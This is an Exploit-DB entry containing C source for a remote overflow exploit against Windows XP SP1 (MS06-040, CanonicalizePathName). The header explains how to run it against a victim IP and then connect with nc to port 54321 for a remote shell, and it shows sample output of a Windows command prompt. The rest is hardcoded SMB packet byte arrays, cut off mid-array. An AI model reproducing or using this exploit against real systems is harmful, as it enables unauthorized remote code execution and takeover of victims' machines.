Exploit-DB #2223
Description: Microsoft Windows - CanonicalizePathName() Remote (MS06-040)
Type: remote
Platform: windows
Date: 2006-08-19
Author: Preddy

Exploit:
/*

Microsoft Windows CanonicalizePathName() Remote Overflow MSO6-040
More info: http://www.microsoft.com/technet/security/bulletin/MS06-040.mspx
Written by Preddy

This is another version of hdm's metasploit version but ported to C,
Works against Windows XP SP1
And it should give a crash on Win2k in services.exe

On successfull exploitation it provides a remote shell at port 54321
of your victim:

./ms06 192.168.1.103
Target: 192.168.1.103
Attack Finished: now open a new terminal and nc to your victim on port 54321
Warning: Don't close this window!

[open a new terminal/window/prompt]

nc 192.168.1.103 54321
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

http://www.team-rootshell.com

Greetz to all of my friends at:

FREENODE(irc.freenode.net): ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
MILW0RM(ABS.lcirc.net): #milw0rm
STS(irc.smashthestack.org): #lecture,#social (special greetz to: esper and crystal)
PTP(irc.eu.pulltheplug.org): #aso,#Social
GSO(gso.eclipticx.net): #gso-chat
TTNET(irc.ttnet.net.tr):#coders,#linux,#nukedx,#zion,#php
SSTNET(irc.0x557.net):#darpa,#exploits,#m00,#ph4nt0m,#rx.rx,#segfault,#sscan

Rootshell Security Group and everyone else ^^

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/mman.h>

#define PORT 139

char peer0_0[] = {
0x81, 0x00, 0x00, 0x44, 0x20, 0x43, 0x4b, 0x46, 
0x44, 0x45, 0x4e, 0x45, 0x43, 0x46, 0x44, 0x45, 
0x46, 0x46, 0x43, 0x46, 0x47, 0x45, 0x46, 0x46, 
0x43, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 
0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, 0x43, 
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 
0x41, 0x43, 0x41, 0x43, 0x41, 0x41, 0x41, 0x00 };

char peer0_1[] = {
0x00, 0x00, 0x00, 0x54, 0xff, 0x53, 0x4d, 0x42, 
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d, 
0x00, 0x00, 0x84, 0xec, 0x00, 0x31, 0x00, 0x02, 
0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 
0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 
0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4e, 0x54, 
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 
0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20, 
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 };

char peer0_2[] = {
0x00, 0x00, 0x00, 0xb5, 0xff, 0x53, 0x4d, 0x42, 
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d, 
0x00, 0x00, 0x84, 0xec, 0x0c, 0xff, 0x00, 0x00, 
0x00, 0xdf, 0xff, 0x02, 0x00, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x5c, 0xd0, 0x00, 0x80, 0x7a, 0x00, 0x60, 
0x55, 0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 
0x02, 0xa0, 0x4b, 0x30, 0x49, 0xa0, 0x0e, 0x30, 
0x0c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 
0x82, 0x37, 0x02, 0x02, 0x0a, 0xa2, 0x37, 0x04, 
0x35, 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 
0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x02, 0x08, 
0x00, 0x09, 0x00, 0x09, 0x00, 0x20, 0x00, 0x00, 
0x00, 0x0c, 0x00, 0x0c, 0x00, 0x29, 0x00, 0x00, 
0x00, 0x57, 0x4f, 0x52, 0x4b, 0x47, 0x52, 0x4f, 
0x55, 0x50, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x54, 
0x41, 0x54, 0x49, 0x4f, 0x4e, 0x31, 0x57, 0x69, 
0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 
0x30, 0x30, 0x20, 0x32, 0x31, 0x39, 0x35, 0x00, 
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 
0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, 
0x00 };

char peer0_3[] = {
0x00, 0x00, 0x01, 0x04, 0xff, 0x53, 0x4d, 0x42, 
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d, 
0x00, 0x08, 0x84, 0xec, 0x0c, 0xff, 0x00, 0x00, 
0x00, 0xdf, 0xff, 0x02, 0x00, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x5c, 0xd0, 0x00, 0x80, 0xc9, 0x00, 0xa1, 
0x81, 0xa3, 0x30, 0x81, 0xa0, 0xa2, 0x81, 0x9d, 
0x04, 0x81, 0x9a, 0x4e, 0x54, 0x4c, 0x4d, 0x53, 
0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 
0x00, 0x18, 0x00, 0x40, 0x00, 0x00, 0x00, 0x18, 
0x00, 0x18, 0x00, 0x58, 0x00, 0x00, 0x00, 0x12, 
0x00, 0x12, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x18, 
0x00, 0x18, 0x00, 0x82, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
0x02, 0x08, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 
0x05, 0x06, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x25, 0xa6, 0x9f, 0x80, 0x96, 
0x31, 0x6c, 0xca, 0xa0, 0x08, 0x9f, 0x12, 0x7e, 
0x47, 0xcd, 0x45, 0x10, 0x25, 0x39, 0x7d, 0xf8, 
0x55, 0x66, 0x03, 0x57, 0x00, 0x4f, 0x00, 0x52, 
0x00, 0x4b, 0x00, 0x47, 0x00, 0x52, 0x00, 0x4f, 
0x00, 0x55, 0x00, 0x50, 0x00, 0x57, 0x00, 0x4f, 
0x00, 0x52, 0x00, 0x4b, 0x00, 0x53, 0x00, 0x54, 
0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 
0x00, 0x4e, 0x00, 0x31, 0x00, 0x57, 0x69, 0x6e, 
0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 
0x30, 0x20, 0x32, 0x31, 0x39, 0x35, 0x00, 0x57, 
0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 
0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, 0x00 };

char peer0_4[] = {
0x00, 0x00, 0x00, 0x3a, 0xff, 0x53, 0x4d, 0x42, 
0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d, 
0x00, 0x08, 0x84, 0xec, 0x04, 0xff, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x01, 0x00, 0x0f, 0x00, 0x00, 
0x5c, 0x5c, 0x5c, 0x49, 0x50, 0x43, 0x24, 0x00, 
0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 };

char peer0_5[] = {
0x00, 0x00, 0x00, 0x5c, 0xff, 0x53, 0x4d, 0x42, 
0x